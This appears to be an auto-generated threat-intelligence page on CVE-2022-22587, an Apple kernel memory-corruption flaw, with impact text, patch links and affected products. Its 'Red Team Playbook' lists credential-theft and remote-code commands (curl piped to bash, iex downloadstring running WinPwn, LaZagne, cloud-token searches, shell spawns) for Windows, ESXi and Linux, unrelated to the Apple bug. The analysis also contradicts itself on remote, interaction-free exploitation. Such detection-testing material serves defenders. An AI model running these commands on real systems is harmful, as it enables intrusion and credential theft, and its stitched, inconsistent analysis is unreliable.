CVE-2022-22587
Overview
This vulnerability is a memory corruption flaw caused by insufficient input validation within the kernel component of Apple iOS, iPadOS, and macOS operating systems. Specifically, the flaw arises from improper handling of kernel-level data structures leading to out-of-bounds memory access. The affected component is the kernel's memory management subsystem responsible for validating input parameters, which allows crafted inputs to corrupt memory state.
Vulnerability Description
A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, macOS Big Sur 11.6.3, macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited..
Impact
An attacker can leverage this vulnerability to execute arbitrary code with kernel-level privileges on affected devices, effectively gaining full control over the system. This can lead to unauthorized access to sensitive data, installation of persistent malware, and bypass of security controls. Exploitation requires no user interaction or authentication, enabling remote or local attackers to compromise devices silently. The business impact includes potential data breaches, system integrity compromise, and disruption of normal device operations.
Solution
Apple has released security updates addressing this vulnerability in iOS 15.3, iPadOS 15.3, macOS Big Sur 11.6.3, and macOS Monterey 12.2. Administrators and users should apply these updates promptly to mitigate the risk. Detailed patch instructions and advisory information are available at Apple's official security support pages: https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053, and https://support.apple.com/en-us/HT213054.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a critical memory corruption issue that arises from inadequate input validation within specific versions of Apple's operating systems, including iOS, iPadOS, and macOS. Memory corruption vulnerabilities typically occur when an application improperly manages memory, leading to unintended behavior such as overwriting memory locations. This particular flaw allows a malicious application to execute arbitrary code with kernel privileges, which is a severe security risk as it can compromise the entire operating system. The kernel is the core component of the operating system, responsible for managing system resources and facilitating communication between hardware and software. When an attacker gains kernel-level access, they can manipulate system processes, install malware, or exfiltrate sensitive data.
Exploitation of this vulnerability could occur through various attack vectors. A common scenario involves the distribution of a malicious application via unofficial app stores or through phishing campaigns that trick users into installing harmful software. Once the malicious application is executed, it can leverage the memory corruption flaw to escalate its privileges, allowing it to perform unauthorized actions on the device. Additionally, attackers may exploit this vulnerability through drive-by downloads, where users inadvertently download and run malicious code while visiting compromised websites. The potential for exploitation is exacerbated by the fact that the flaw may have been actively exploited in the wild, indicating that threat actors are already aware of and targeting this weakness.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Apple devices for their operations. Organizations that utilize iPhones, iPads, or Macs may face severe consequences if their devices are compromised. The ability for an attacker to execute arbitrary code with kernel privileges could lead to data breaches, loss of intellectual property, and disruption of business operations. Furthermore, the reputational damage associated with a security incident can have long-lasting effects, eroding customer trust and potentially resulting in financial losses. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, emphasizing the urgency for organizations to address it promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating devices to the latest versions of iOS, iPadOS, and macOS is crucial, as these updates contain patches that address known vulnerabilities. Additionally, organizations should employ endpoint protection solutions that can detect and block malicious applications before they are executed. User education is also essential; training employees to recognize phishing attempts and the dangers of downloading applications from untrusted sources can significantly reduce the risk of exploitation. Finally, conducting regular security assessments and penetration testing can help identify potential weaknesses in an organization’s security posture, allowing for proactive measures to be taken.
In conclusion, the memory corruption vulnerability affecting Apple's operating systems poses a serious threat to both individual users and organizations. The potential for arbitrary code execution with kernel privileges creates a pathway for attackers to gain control over devices, leading to significant operational and reputational risks. By understanding the technical details, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the future.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-22587, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s elevated priority within the cybersecurity community. Our telemetry indicates a significant uptick in exploit attempts, reflected by the emergence of a substantial EPSS score and a rapid upward trend in exploit probability. Although no new technical exploit details have surfaced publicly, the convergence of increased detection activity and official cataloging signals a heightened operational interest by threat actors. This development elevates the threat level from theoretical to actively targeted, increasing the urgency for defenders to monitor for exploitation attempts closely. The critical severity rating combined with kernel-level code execution potential means that successful exploitation could lead to full system compromise, amplifying risks to both individual and enterprise environments.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-22587 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT213055 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT213053 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT213054 |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-22587 |